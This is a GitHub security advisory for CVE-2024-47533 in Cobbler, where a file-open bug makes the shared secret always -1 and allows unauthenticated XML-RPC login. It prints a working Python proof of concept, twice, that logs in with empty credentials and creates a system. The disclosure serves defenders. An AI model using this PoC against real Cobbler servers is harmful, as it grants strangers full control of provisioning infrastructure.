GHSA-M26C-FCGH-CP6H
Vulnerability from github – Published: 2024-11-18 20:00 – Updated: 2026-10-27 16:26Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
Impact
This gives anyone with network access to a cobbler server full control of the server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cobbler"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "cobbler"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47533"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-18T20:00:56Z",
"nvd_published_at": "2024-11-18T17:15:11Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user \u0027\u0027 password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -\u003e Union[str, int]:\n \"\"\"\n The \u0027web.ss\u0027 file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n :return: The Cobbler secret which enables full access to Cobbler.\n \"\"\"\n\n try:\n with open(\"/var/lib/cobbler/web.ss\", \u0027rb\u0027, encoding=\u0027utf-8\u0027) as fd:\n data = fd.read()\n except:\n return -1\n return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn\u0027t take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { \u0027proto\u0027: \u0027https\u0027, \u0027host\u0027: \u0027COBBLER_SERVER\u0027, \u0027port\u0027: \u0027443\u0027, \u0027username\u0027: \u0027\u0027, \u0027password\u0027: -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = \u0027{proto}://{host}:{port}/cobbler_api\u0027.format(**params)\nif ssl_context:\n conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n conn = xmlrpc.client.Server(url)\n\ntry:\n token = conn.login(params[\u0027username\u0027], params[\u0027password\u0027])\nexcept xmlrpc.client.Fault as e:\n print(\"Failed to log in to Cobbler \u0027{url}\u0027 as \u0027{username}\u0027. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n print(\"Connection to \u0027{url}\u0027 failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.",
"id": "GHSA-m26c-fcgh-cp6h",
"modified": "2026-10-27T16:26:41Z",
"published": "2024-11-18T20:00:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47533"
},
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0"
},
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda"
},
{
"type": "PACKAGE",
"url": "https://github.com/cobbler/cobbler"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/cobbler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes"
}
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